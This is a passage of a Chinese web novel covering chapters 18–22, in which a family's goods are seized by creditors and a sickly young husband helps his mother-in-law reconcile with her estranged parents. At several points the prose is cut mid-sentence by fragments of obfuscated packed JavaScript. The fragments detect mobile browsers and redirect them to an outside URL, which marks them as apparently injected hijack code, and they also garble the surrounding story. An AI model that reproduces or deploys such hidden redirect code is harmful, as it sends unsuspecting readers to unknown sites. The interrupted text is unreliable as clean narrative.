“草药？”刘小妹又往树下瞧了眼。 可这就是野菜啊，她跟在娘跟大嫂身边挖了七八年，是绝对不会认错的。 徐小满与赵金珠、钱霜儿也跟着摇头。 “是野菜，我们在山上挖了好些呢。” “是呀，吃多了容易尿床，村里好些人都叫它尿床草呢。” “还有好些名字哩，我奶叫它牛舌草，外婆家叫它野甜菜、车轮菜。” 宋听竹笑着解释：“你们说的这些都是别称，学名叫车前子，是一味草药。” “我想起来了！”赵金珠眸子一亮，“有一回我娘生病，我到梁爷爷家请他来给娘瞧病，在梁爷爷家看见过牛舌草，院子里晒了好些嘞，还有别的草药，我不认识。” 刘小妹闻言，既兴奋又激动，“嫂夫郎，这车轮菜当真能拿来卖钱？” 宋听竹道：“可以，只是由于太过寻常，医馆一般很少会收。” 见小姑娘垮下肩膀一脸失落，又笑着说：“除了车前草，这山里还有很多草药，都能拿来换银子。” “真的？嫂夫郎你快跟我们说说长什么样子！” 18.钱家来讨债 宋听竹给几个小姑娘讲了几味，书中瞧见的草药，途经大榕树，刘小妹同三个小姐妹挥手道别。 “欠债还钱天经地义，没银子就拿东西抵！” 刚拐过路口，二人便听见院子里传出一道汉子粗犷强横的声音。 夏哥儿有些被吓到，揪紧宋听竹衣裳，往他身后躲了躲。 宋听竹牵紧夏哥儿，跟有些慌了神的刘小妹进了院子，只见小院儿里围了一群人，少说也有六七个，其中两个妇人他见过，一个是牛家章婶子，另一个是钱家孟大娘，钱霜儿她爹娘。 三家关系不错，两位大娘婶子常来家里走动，夫君迎他进门的聘礼，便有一部分是同两家借来的。 一群人没瞧见有人进院儿，几个身强体壮的汉子，还在吵嚷着要刘家尽快还钱。 家里汉子都出去做工了，只有阮秀莲跟大儿媳唐春杏在，两人原本好好在家做着绣活，一群人冷不丁闯进院子，说话的机会都没给，这个一句那个一嘴，气势汹汹要阮秀莲把欠下的银子还上。 孟银花念着两家情分，把当家的拉到一旁，自个儿上前抹着眼泪道：“妹子你也别怪大姐心狠，实在是没法子了，我家老大媳妇儿怀了娃，需要银钱补身子，霜姐儿今年十三，差不多也该说亲了，家里怎么着也得给她攒些嫁妆，省得嫁到夫家受人欺负，你说是不是这个理儿？” “孟大娘，当初两家说好半年之内将银钱还上的，这才过去仨月，就喊了一帮子人来家里讨债，这事儿未免做得太不厚道了些。” 唐春杏觉得钱家不厚道，当初分明说好了这会儿又变卦，头些年钱家出事儿，家里可没少帮衬，现下过河拆桥，良心被狗吃了不成。 孟银花笑容尴尬：“也是实在没有办法，去岁收成不好，家里没攒下几个银钱，秀莲妹子你也晓得，我家老大成亲好几年都没个孩子，这回好不容易怀上，可不得精心养着才成，为了我这未出世的小孙子，只得厚着脸皮上家来讨要银子了。” 阮秀莲面色为难：“我的老姐姐，不是妹子我不想还，而是手头上确实拿不出这么些银钱。” “大生家的，瞧你这意思是不想给？”章大花斜着眼睛语气不善，显然是打算撕破脸皮了，“没银子就拿物件抵，锅碗瓢盆鸡鸭鹅，只要是能卖出价的都行。” 立在章大花身侧的壮汉，收到眼色，接话道：“我听见畜生叫唤了，大伙儿跟我到后院抓家禽去！” 一群人乌泱泱要往后院去，阮秀莲婆媳俩拦不住，只能眼睁睁瞧着人将鸡鸭抓了去。 “夏哥儿的呜呜呜……” 夏哥儿躲在宋听竹身后，小声呜咽。 家里鸡鸭养了一整年，夏哥儿平日里没少帮着喂，还挨个给起了名字，家里杀鸡都背着小家伙，生怕他看了伤心，这会儿见一群人将鸡鸭抢走，心里别提多难过。 刘小妹则满脸愤怒，想上去拦着，但力量悬殊，不等靠近便被撞倒在地，竹篮打翻草药跟野菜洒落一地，转眼间便被几个汉子踩得不成样子。 刘小妹呆愣片刻，回过神来还想上前去捡，宋听竹眼疾手快忙将人拉了回来。 “嫂夫郎，他们踩烂了咱们好不容易挖来的草药！”刘小妹语气焦急，眼眶都红了一圈。 宋听竹拉着小丫头手腕，将人护在身后，并宽慰道：“安全最重要，草药踩坏了改日再挖就是。” 刘小妹气到说不出话来，夏哥儿见小姑受了委屈，鼓着面颊举起一双小拳头，模样奶凶：“坏人！夏哥儿讨厌他们！” 宋听竹将两个小的护在身后，待一群人搬上家中还算值钱的物件，浩浩荡荡离开，方才领着二人从角落出来。 院子里一片狼藉，不止鸡鸭，灶头上的铁锅也被抢了去。 阮秀莲将夏哥儿叫过去，边给小孙子擦着眼泪，边叹道：“先将院子收拾了，杂间儿里还有口旧锅，老大媳妇儿去搬出来洗刷两遍，将就用着。” 唐春杏应了声：“知道了娘。” 宋听竹瞧婆婆脸色不好，便让小妹将娘扶进房休息，自个儿握着扫把准备打扫院子，但他从没干过这活儿，打量半晌也不知该从哪儿开始。 “我来吧，嫂夫郎你歇会。”刘小妹从堂屋出来，将他手里的扫把接了过去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938778|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >刘家日子本就过得清苦，经此一遭更是雪上加霜，且算算日子，再有月余便到了缴纳税收的时候，现下家里怕是吃喝都成问题，哪里来的银子交赋税？ 宋听竹眉头紧锁，刚要去杂间儿取东西，就见夏哥儿扯着他衣摆，一双圆滚滚的干净眸子，红得像只小兔子。 “小叔么，明天我们还去挖草药好不好？” 他牵起夏哥儿，问道：“夏哥儿想去挖草药？” 小家伙点头，“挖草药卖银子，给奶奶跟娘买小鸡小鸭和大锅。” 宋听竹听得心头一软，轻捏着夏哥儿小手温声说道：“这回咱们不止挖车前草，还要挖些旁的。” 车前草卖不出价儿，他需得翻一下书，寻些价钱高的草药卖。 夏哥儿见他取出笔墨，一脸好奇地凑上前。 有些草药不易分辨，宋听竹担心小妹挖错，便想将其临摹下来，有了比对便不容易出错了。 夏哥儿在一旁撑着下巴，模样乖巧地瞧着，等宋听竹画完一幅，便小心翼翼捏着上头两角，先是噘起嘴巴吹上一会儿，而后动作极轻地铺在一旁晾着。 一连画了三四幅，方才搁下手中毛笔。 院子里小妹扬声唤二人出来用饭，宋听竹拿上画儿，牵着夏哥儿一起去了堂屋。 饭桌上一片愁云惨淡，连夏哥儿都能瞧出来，奶奶跟娘心情不好，小家伙便乖顺地靠在宋听竹怀里，安静地咬着手里的粗面饼子。 唐春杏是个心直口快的，没犹豫多久便开口道：“家里米面不多了，再不采买些要不了几日就该断粮了。” 钱家牛家不是个人，把家里口粮都给抢了去，眼下春夏之交，正是青黄不接的时候，余下的那点存粮，哪里供得上一家八口人嚼用。 阮秀莲满面愁容，放下筷子道：“明儿我回趟娘家借些粮食来，这个月省着点吃用，熬到夏收日子就好过了。” 宋听竹第一次听婆婆提起娘家，虽不知两家关系如何，但观婆婆脸色也能猜出个几分，饭后又从小妹那得知，二老跟家里并不亲近，近两年甚至有要断绝关系的苗头，眉心不自觉皱起。 19.好好活着 宋听竹道：“小妹，你再多同我讲些外公家的事。” “好。” 刘小妹将画纸折好，揣进随身小布包里，而后才说起外公一家的事。 外公阮长河，外婆李春花，二老膝下共有一女二子，她娘阮秀莲是家中老大，大舅阮大牛生有两个儿子，大表哥阮有金、二表哥阮有银，都已成婚生子。 二舅阮二牛，生了个哥儿跟小子，小表哥打出生起就是个聪慧的，四五岁便被送去学堂念书，十岁那年通过童试，成了莲溪镇近十年最年轻的童生，这事儿当时还引起了不小的轰动呢。 宋听竹知晓了阮家人口几何后，问小妹：“你可知家里关系是如何闹僵的？” 刘小妹撑着下巴，叹了口气。 “还不是因为西院那头，外公外婆也不喜欢爷奶跟二叔一家的做派，早年还没分家那会，就很少来家里走动，后来分了家，原以为关系能缓和些，谁承想反而更糟了，头两年爹娘领我去瞧外公外婆，二舅连大门都没开，直接把我们轰走了。” “在这之后呢？” “之后爹娘就没再去过下河村了，我也已经好几年没见过外公外婆了。”小姑娘再次叹气，“好想外公外婆啊，还有大舅二舅他们。” “外公外婆闭门不见，娘没问问是何原因？”宋听竹皱眉道。 刘小妹闷闷不乐：“倒是想问，但是一直寻不到机会，而且家里日子过成这样，娘也不好意思再去，怕被人背后戳脊梁骨，说些难听的话。” “村里人最爱嚼舌根，我跟娘只回去过一次，刚回村就听见有人说娘是回去打秋风的，从那以后娘就再没回过下河村了。” 小丫头说着不禁担心起来：“明日娘回下河村借粮，不会挨打吧？” “别担心，不会的。”宋听竹安抚道。 他总觉得这中间有什么误会，若是能解开，两家必定能重归于好，只是该如何做，还得想个稳妥的法子才成。 日入时分，刘家父子三人陆续回了家。 一家子坐在堂屋，沉默地吃过晚饭，便各自回房歇下了。 西屋内—— “媳妇儿，这是俺今日做工赚到的银钱。”刘虎从怀里掏出四十文铜板，照旧交给宋听竹。 宋听竹接过去收好，拉着汉子带着厚茧的手掌，主动靠上汉子宽厚的胸膛。 刘虎顿时一僵，手搭在膝盖上，坐姿规规矩矩。 “娘明日要去外公家借粮，我想陪娘一起去。” 刘虎想也不想，拧着浓眉拒绝道：“俺不同意。” 宋听竹捏着汉子拇指上的茧子，温声说：“我听小妹说了，下河村离着村子不算太远，腿脚慢些半个时辰也能到了。” 见自家夫君还是不答应，软下嗓音道：“我知道你担心我，这些日子我身子已经好多了，今日同小妹上山挖野菜，除了累了些，反倒觉得身上轻松许多。况且周大夫不是也说我需要多走动，病才能好得快些？” 刘虎好一会没说话，宋听竹犹豫片刻，刚要用上最后一招，上方便传来一道浑厚有力的声音。 “那俺也去。” 宋听竹道：“不去做工了？” “嗯，让田子帮俺跟东家说一声，后日再去上工。”刘虎反手握住自家夫郎消瘦的手腕，眉头越皱越紧，“你一个人去俺不放心。” 宋听竹勾起嘴角：“还有娘呢。” “娘力气小，背不动你。” 宋听竹被人捏着手腕一寸寸摩挲，汉子指腹粗糙，落在腕子上带起一阵痒意，除了痒心头还有些说不清道不明的情愫涌出，让他抿紧唇瓣，不自觉红了耳根。 他抽回手腕，装作整理被褥，“你难道还想一路将我背过去？被人瞧见怕是要笑话你惧内了。” 刘虎憨厚的脸庞上满是真诚：“俺不怕人笑话，你是俺媳妇儿，别人咋想俺管不着也不在乎，俺只在乎你是咋想的。” 宋听竹闻言心中一暖，他转过身子，红着耳根将手重新放回汉子掌心里。 “我知道夫君是为了我好，不过背一路就不必了，我若是累了自会告诉夫君。” 刘虎眉头一松，露出憨笑：“媳妇儿，你同意俺跟你一起去了？” 宋听竹笑着点头，他望着汉子带着傻气的笑脸，缓缓说道：“夫君，我教你做生意赚银子可好？” 刘虎表情惊讶：“媳妇儿会做生意？” 自然不会。 宋听竹轻咳一声，别开目光道：“宋家是做酒水生意的，在府城有不少铺子，我虽自小被宋家下人盯着，接触不到生意上的事，但也不是毫无头绪。” 今日在外头待得有些久，白日里还没觉得，这会儿泡过脚，忽然觉着双腿有些酸痛，便握着拳头捶打了两下。 汉子瞧见，将宋听竹双腿搁在膝头，力道恰好地替他揉捏按摩。 “媳妇儿想制酒去卖？” “嗯～” 本是想回应的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946708|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁料汉子手法太好，舒服的他语调拐了弯。 宋听竹抓紧被单，面颊也跟着红成一片。 怕汉子问起，连忙说道：“外公家便是制酒的，娘亲制酒的手艺在浔阳府也是难得一见，我随了外公娘亲，自小便对制酒感兴趣，只是身子不好外公娘亲又去得早，这才没了机会。” “还记得三岁那年，在外公和娘亲面前夸下海口，长大后要将家里的酒铺开去京都，这个想法原本已经被我埋在心底，但现在我想要去实现它。” 宋听竹看着眼前的汉子，轻声询问：“夫君，你愿意帮我吗？” 刘虎点头，神情庄重又严肃：“不管媳妇儿你想做啥，俺都支持。” 宋听竹嘴角牵起浅笑，他收回双腿，靠在自家夫君肩头。 不知为何，只要有刘虎在身旁，便莫名让他觉得安心。 “制作酒曲的法子从不外传，这些日子我从书中抄录下不少残缺的配方，需得实验过后才知真假。” 手腕再次被汉子握住，宋听竹忍着痒意，继续说道：“制酒太费银子急不得，眼下最要紧的是寻法子多赚些银子，渡过眼前的难关。” 汉子静静听着。 “我从书中临了些能卖上价儿的草药，让小妹到山上找找看，若是能找见最好，找不到也无妨，只是赚得少了些。” 刘虎道：“俺有空去后山下几个套子，猎不到大型猎物，猎个野鸡野兔也是好的。” “好。还有一事，明早我得叮嘱小妹一番，挖草药不能像挖野菜那般，要小心仔细不能挖坏了根须，否则会影响……” 宋听竹声音渐渐小了，话未说完便没了动静。 刘虎轻手轻脚将人抱到床里侧，吹灭油灯也跟着睡下。 当晚宋听竹梦见了许久未来看他的娘亲，这回他终于能听清娘亲说的话了。 “娘的小竹子长大了，如今有了夫君也有了家人，娘总算能放心去了。” “娘陪了你这么久也该去寻你外公外婆了，好告诉他们小竹子找到了疼他爱他的夫君，也有了关心他的家人。” “娘，帮我转告外公外婆，听竹过得很好，不必惦念。还有，听竹一定会将酒铺开往京都，兑现当初的承诺。” “好，娘相信你。” 睡梦中，宋听竹望着娘亲逐渐消失的背影，笑着落下泪来。 娘、外公外婆，你们放心，听竹不会再想着死了，听竹想好好地活着，活得比谁都要好。 20.下河村阮家 翌日吃过早饭，一家三口便收拾好东西去了下河村，临行前宋听竹从书架上取了两本诗集，一同带了去。 宋听竹第一次离开云溪村，一路上好奇张望，瞧见连成片的麦田，在微风中荡起层层浪花，心情也跟着放松下来。 怪不得宋蕊儿没事便喜欢与小姐妹出门踏青，原来竟是这般松快，连身子都跟着轻盈许多。 “媳妇儿喝水。”刘虎从背篓里拿过竹筒，递上前。 走了许久，宋听竹喉咙确实有些发干，伸手接过竹筒，朝汉子笑着道谢：“谢谢夫君。” “你是俺媳妇儿，这是俺应该做的。” 阮秀莲见夫夫二人恩爱有加，面上露出欣慰的笑容。 “竹哥儿啊，累了就让虎子背你，这才走了一半路程，可别强撑累坏了身子。” “知道了娘。” 宋听竹也没矫情，走了小半刻钟，觉着有些走不动了，便趴上自家夫君宽厚结实的后背，让汉子背着走了一段。 刘虎身强体壮，背着个人步伐非但没慢下来，还比方才更快了，就连婆婆阮秀莲也加快了脚程。 宋听竹这才晓得，夫君跟婆婆为了配合自己，特意放慢了速度。 如此过了小半柱香的时辰，下河村的轮廓逐渐清晰了。 “这不是阮家老大秀莲吗？”田间有位上了年纪的老妇认出阮秀莲，佝偻着身子，扬声道，“秀莲啊，是你不？” “哎婶子，是我。”阮秀莲笑着打招呼。 老妇却不给面子的说教道：“你这孩子，咋这么长时间都不来瞧你爹娘，你没出嫁那会儿可是十里八乡最孝顺的丫头，村里谁见了不夸一句，这咋成了婚就不认自家爹娘了。” 阮秀莲脸色顿时有些不好看：“婶子这是说的哪里话，做人儿女的怎么可能会不认爹娘，只是前阵子家里忙，实在抽不出空来。” “家中就那一亩三分地儿，再忙能忙到哪儿去。” 老妇不依不饶，语气近乎刻薄。 宋听竹听得蹙眉，低声询问身旁汉子：“夫君，这老妇可是家中长辈？” 见刘虎摇头，上前扶着婆婆手臂，朝老妇扯起嘴角道：“这位婆婆，这么一大片田都是您家的？” 老妇闻言挺起腰，“那是自然。” 宋听竹先是惊讶，接着有些不忍地道：“怎么只见您一人在田里忙活，您子女呢？” “他们……” 宋听竹没给老妇说话的机会，“便是再忙，也没有让婆婆您一个年近半百的老人，独自在田间劳作的道理，未免太不孝了。” 老妇被戳到痛处，叉着腰提高嗓门道：“你个外村人知道个啥，我儿子在镇上酒楼做掌柜，月钱多着哩，家里这点活我这个老婆子就能干得了，他可是赚大钱的，用不着为这点小事儿费心思。” 宋听竹一脸真诚：“您儿子真厉害，在酒楼当掌柜月银少说也有一两半，可即便如此也不能将田里的活儿全丢给您呀，便是自己没空，花银子雇个人来帮您做总是行的。” 他叹气道：“说到底还是不孝。” 老妇被他一番话噎得哑口无言，一张满是褶皱的脸上，颜色很是精彩，老妇半晌也寻不出反驳的话，最后恼羞成怒，对着三人破口大骂起来。 “这孙婆子咋又跟人骂上了，昨儿刚跟李家骂完，今儿还不消停，村长也不管管，任由这老虔婆天天骂街，叫旁的村子的人瞧见，还当咱下河村的都是这等悍妇，村里的丫头、小哥儿日后还咋嫁人？” “谁说不是，哎你们瞧被孙婆子指着鼻子骂的那个，是不是春花妹子家老大，秀莲啊。” 前头两个婆子毫不避讳地打量，待三人从面前经过，开口将人叫住了。 “哟，还真是长河家大丫头秀莲！” “王大娘、郑婶子。”阮秀莲停下步子，笑着应了声。 王婆子跟郑婆子同李春花是几十年的老姐妹，阮家兄妹三人可以说是两人看着长大的，瞧阮秀莲就跟自家姑娘差不多，虽是几年没见，面上依旧带着亲近。 “这是回村来探望你娘了？” 郑婆子是个脾气好的，王婆子说话可就没那么客气了。 “你娘病了这些时日，现在才晓得回来探望，莫不是真像刘老婆子说的那样，觉着你娘跟两个弟弟是累赘，要跟家里断绝关系？” “说那些干啥。”郑婆子连忙拉了把老姐妹，“秀莲啊，你娘这两日身子不大好，既然回来了就赶紧去瞧瞧吧，这两年一直听春花念叨你呢，母子俩哪有隔夜仇，把事情说开就没事儿了。” 阮秀莲笑容勉强：“哎，那我就先回了，王大娘郑婶子，你们忙着。” 宋听竹见婆婆脸色不好，上前扶着人，皱眉说道：“娘，方才听王奶奶说起刘翠娥，家里跟外公一家关系闹僵，西院那头怕是脱不了干系。” 阮秀莲也不晓得这中间出了什么岔子，有心想要将误会解开，可二弟跟小弟根本不让她进门，院子都进不去何谈消除误会。 阮秀莲忧心忡忡，心里头对这次登门不抱多大希望，小弟态度坚决，铁了心不想再认她这个大姐，二弟是个没主意的，爹娘不管事儿后，家里便一直都是小弟说了算，只要小弟不同意，这个门她就进不了。 粮食的事看来得另寻法子了，今日只要能见到爹娘，便是好的。 “娘放心，我有办法让您见到外公外婆。” 阮秀莲闻言面上露出喜色，“真的？竹哥儿你当真有法子？” 宋听竹点头。 说话间阮家到了，阮秀莲望着紧闭的院门踌躇不前，最终是宋听竹上前叫的门。 “来了。” “这声音听着陌生，我咋不记得家里还有这号亲戚。” 阮二牛今儿没去做工，正在院子里劈柴，听见叩门声，放下手里活计，嘟囔着朝院门走去。 拉开院门瞧清来人后，阮二牛立即黑了脸。 “大姐回吧，家里不欢迎你。”说着便要将院门关上。 宋听竹一早便同小妹打听过，大舅小舅的样貌性情，二人性格迥异，一见便知是哪位舅舅。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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边走边说：“娘这几日吃不好睡不好，早上那会刚睡下，这会儿就不叫娘了，待会儿醒了再带大姐去瞧娘。” 阮秀莲点头，有些犹豫地问：“娘啥时候病的，咋不托人到家里说一声。” 阮二牛在一旁冷着脸，哼道：“假惺惺。” 吴二妞瞪他一眼，“杵在这儿干啥，方才不是让你去喊爹？” “等你进屋再去。” 阮二牛扶着人，说啥也要把人送进屋，吴二妞拗不过，只能由着他去，待进了堂屋，阮二牛这才出院子寻人。 “弟妹，你这脸色，可是病了？”阮秀莲瞧着吴二妞有些苍白的脸，关切道。 吴二妞抬手摸上肚子，“也没啥，只是孩子没能保住。” 话说得轻松，阮秀莲却知，她心里并没有面上表现得那般无所谓。 三弟妹极难受孕，这么些年也才生下锦宁跟明川两个孩子，如今好不容易怀上竟没了，往后再怀怕是不易。 21.误会消除 吴二妞擦了把眼角，拉着阮秀莲手道：“不说这些了，大姐这两年过得可好？” 阮秀莲面上挂着笑：“好，挺好的，家里呢？” “大姐向来是报喜不报忧，当弟妹不晓得？”吴二妞叹气道，“爹娘当初是说了再也不许大姐进门，可那都是气话，你前脚刚走，二老便反悔了，只是碍于面子，在我们这些个小辈儿面前嘴硬强撑着，偏偏二牛又是个死倔的，大姐来家我们都不曾知道，竟是直接背着我们将大姐赶走了。” 二人说着话，外头传来一阵哒哒哒的脚步声，伴随着一道稚嫩的嗓音，一个白嫩可爱的幼童，推门而入。 小女童瞧着一岁多点，穿着碎花小裙，似是刚睡醒，脸蛋红扑扑的，模样煞是可爱，小丫头在屋子里瞧了一圈不见爹娘，倒是坐着好些眼生的面孔，面上不禁露出一丝胆怯来。 “三奶奶。”小家伙轻轻唤了声。 吴二妞笑着应道：“如意醒啦，你爹娘到镇上做工去了，日头快落山才能回呢。” 她朝小姑娘招手，“到三奶奶这来。” 小丫头扶着门框，瞧了眼屋内众人，看到个子高大的刘虎，有些怕地往门后缩了缩。 宋听竹见状，勾起嘴角温声安抚：“别怕，二表叔只是个子高了些，不是坏人。” 小姑娘寻着声音瞧过去，见是漂亮哥哥在说话，一双圆滚明亮的杏眸，顿时更亮了些。 “哥哥……” 阮如意刚学会走路，步子还有些不稳，小丫头进了堂屋，看也不看三奶奶，举着小手直奔宋听竹去了。 “这可不是哥哥，如意应该叫二叔么。”吴二妞笑着纠正，“这是你大奶奶，三奶奶跟你说过的，如意还记得不？” 阮秀莲见小丫头半张脸蛋儿都埋进竹哥儿怀里，也露出笑来。 阮如意小手揪着宋听竹衣裳，点着下巴，奶声奶气道：“记得，大奶奶。” 又扭头对着宋听竹唤了声：“二叔么。” “乖。”宋听竹摸了摸小丫头发顶，随即从荷包里摸出半块饴糖递给她。 小姑娘得了饴糖，也顾不得怕了，塞进嘴儿，靠在宋听竹怀里，喜滋滋吃起来。 “这是有银家孩子吧。”阮秀莲问。 吴二妞笑着点头：“如意这丫头长得跟有银小时候像极了，尤其是鼻子跟嘴巴。” 阮秀莲赞同道：“一眼便瞧出来了，跟有银像是一个模子刻出来似的。” 妯娌俩说了会儿话，便听院儿里传出动静，是阮二牛将在外头帮人垒地基的阮长河叫回来了。 阮长河今年五十有四，年轻那会做惯了活，老了也闲不下来，村里哪家盖房、杀猪需要人手，便去帮上一帮，顺道赚几个铜板回来。 今儿村南头有户人家办酒席，帮忙杀猪的汉子不知怎的忽然来不了，临时也找不到合适的，便让人将阮老爷子请了去。 阮二牛到那会儿，老爷子正帮忙按着猪，准备给开膛破肚呢，听见儿子说大丫头回来了，面上一怔，双手卸了力道，差点把猪给人家放跑。 杀完猪手都来不及洗，紧赶慢赶回了院子，可真见着人了，又严肃着脸开口便是直戳人心窝子的话。 “还回来干啥，阮家没你那等不孝顺的儿女，回你刘家去吧。” 阮秀莲面上一僵，嘴唇颤抖着唤了声：“爹……” “这声爹我可不敢当，你阮秀莲有本事得很，为了夫家连娘家都不要了，既如此，今日还回来做啥！” 阮长河正在气头上，阮二牛几人深知老爷子的脾气，这个时候若是出声去劝，反而适得其反。 堂屋里气氛焦灼，眼看此行就要无功而返，宋听竹掩唇低咳一声，将所有目光都聚集在自己身上。 “外公，娘从没想着要跟家里断绝关系，一切都是刘翠娥从中搞的鬼。” 阮长河心里埋怨大女儿，对几个外孙却从没说过重话，何况虎子他夫郎身子不好，现下好不容易养好些，万不能再有个啥闪失。 吴二妞见爹没再说些刺痛人心的话，忙跟着开口：“大姐当初刚嫁进刘家那会儿，那刘老太太便看不上大姐，连带着也瞧不起家里，觉着咱一家子都是来打秋风的，每回去探望大姐，老婆子没少对着咱阴阳怪气。 大姐是啥人，爹您最清楚不过，我觉着这事儿就像竹哥儿说的那样，准是刘老太太从中作梗，让咱跟大姐生了嫌疑，这才闹到了今天的地步。” 阮老爷子一言不发，面上却有些许松动。 宋听竹见状，刚要趁热打铁，便瞧见外头走进来个满鬓花白的老妇。 “秀莲呐，我的秀莲，你终于舍得回来看娘了……” 李春花声音颤抖，浑浊的眸子里蓄满泪花。 阮秀莲站起身子，哽咽着唤出声：“娘……” “你这狠心的丫头，说不见就不见，娘真是白生养你一场呜呜呜……” “是女儿不孝，一切都是女儿的错……” 母女二人抱在一起痛哭，好半晌才揩着眼泪停下来，一家人坐在一起，慢慢将积了多年的误会解了开。 一切起因于刘老太太对阮秀莲的不满，当年刘老太太相中的儿媳妇不是阮秀莲，而是云溪村一户日子过得还算富裕的人家，奈何中间出了岔子，两家亲事没成，便退而求其次将阮秀莲迎进了门。 阮家没啥积蓄，阮秀莲又是个强势的，自打进了门儿，没少跟她这个做婆婆的顶嘴。 刘老太太心中越发不喜，头些年阮家收成不好来家里借粮，被她拦了下来，不仅如此，还挑拨离间，说是阮秀莲不让借，阮二牛面上挂不住扭身就走，从那以后两家关系就有些不好。 后来刘老婆子将刘猛刘虎兄弟俩丢进后山，阮大牛阮二牛带人来刘家替大姐讨说法，当时阮秀莲病着，兄弟二人连人都没瞧见，被刘老婆子连同一众亲戚赶了出去，还说了不少难听的话。 至此之后，两家便没啥来往了。 分家后阮秀莲倒是回去过，只是阮家闭门不见，到了后头两三年也难得见上一回。 几句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958972|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话的事儿，硬是拖了小二十年，若不是宋听竹使了苦肉计进了阮家大门，这误会怕是一辈子也难解。 宋听竹不能理解老一辈人的想法，换作他一早便事情讲清了去，绝不会平白浪费二十年光阴。 这厢李春花知晓了事情始末，悔恨万分，平日里和蔼可亲的人，竟也当着人面骂起来。 “杀千刀的老虔婆，心思咋就那般狠毒！” 李春花拉着女儿手，再次落下泪，“是娘轻易听信了那老东西的话，这些年来你受委屈了。” 阮秀莲摇头：“受委屈的是爹跟娘，还有二弟三弟，女儿要是晓得刘翠娥背着我说了、做了那些侮辱人的话，便是被人戳一辈子脊梁骨，也定是要跟他刘家和离。” 李春花闻言，语重心长道：“傻孩子，做错事儿的是刘老婆子，大生那汉子还是挺不错的，否则当年我跟你爹断然不会答应这门亲事。” 阮老爷子听后，重重哼了声：“一早就晓得刘老婆子不是个好相与的，偏偏你这个缺心眼的，说啥都要嫁过去。再者你受了委屈，不晓得回家说一声？在家当姑娘时不是挺厉害的，咋嫁了人就变成了锯嘴葫芦？” “死老头子你现在倒是能耐上了，女儿受了委屈不说安慰上一句，反倒把人关在外头，让女儿有家回不得，那刘家瞧咱女儿没娘家人撑腰，可不得冒着劲儿欺负。” 李春花一番话，怼得阮老爷子哑口无言，瞪着双眼睛兀自生闷气。 阮秀莲道：“爹说得对，女儿要是硬气点些，兴许就不会发生后头的事了。” 李春花皱着眉头：“没娘家撑腰，你就是再硬气又有啥用，多的是被婆家磋磨死的。” 这话不假，女子小哥儿本就处于弱势一方，再没了娘家做后盾，命好去个好人家享福一辈子，命不好遇见个惯爱磋磨人的，丈夫又懦弱无能，这辈子也别想翻身。 阮秀莲命不算好也不算太差，刘大生虽懦弱，但为了妻儿也硬气过一回，逼得刘老婆子同意分家，日子这才有了盼头。 “行了，过去的事儿就不提了。”李春花扭头吩咐，“二牛你拿些银钱到徐老七家拎条鱼回来，有金媳妇儿去割块腊肉，咱晌午炖鱼、炒腊肉吃。” “哎。昨儿瞧见七叔家还捞了河虾，我看看还有没。” “成。” 一家子喜气洋洋，阮二牛出门买鱼，被几个婶子大娘瞧见，还当家里有了啥喜事儿，上前道喜才晓得原是阮家大丫头回来了。 几人目光顿时有些不对劲，待阮二牛乐呵呵走远，凑一堆儿说起嘴来。 “这阮家老两口不是早就不认他家大丫了，今儿是咋了，不仅让人进了门，还花银子买上鱼了。” “银钱多烧的，谁家想吃鱼不是自己到河里捞，你看村里有几户人家是买来吃的，就他阮家跟人不一样，当自己是土财主呢还买上鱼了。” “难不成是姑爷家发达了？不行，我得过去瞧瞧究竟是怎么个事儿。” 几个爱瞧热闹的，挎着篮子匆匆往阮家去了。 22.教锦宁识字 阮家小院里欢笑声不断。 阮有金刚满三岁的儿子阮文平，是家中活宝，小小年纪嘴巴甜得不得了，一口一个大奶奶、表叔么，将阮秀莲与宋听竹夸得合不拢嘴。 刘虎就没这个殊荣了，汉子生得高大，不笑时看起来颇有些吓人，倒是小如意，熟悉之后也肯让二表叔抱了。 “叔，拿。”小丫头指着柜子，身子一个劲儿往那边倾斜。 李春花见状，笑出声：“是让你给她拿糖吃呢，这丫头鬼精鬼精的，晓得一伙人里属虎子长得最高，不用小凳儿就能够着。” 宋听竹道：“如意聪慧，等她再长几岁，便可以开始认字了。” “竹哥儿惯会说笑，如意是个丫头，镇上书院小哥儿都不收，何况丫头。”吴二妞边给小文平擦着花猫脸，边说道，“ 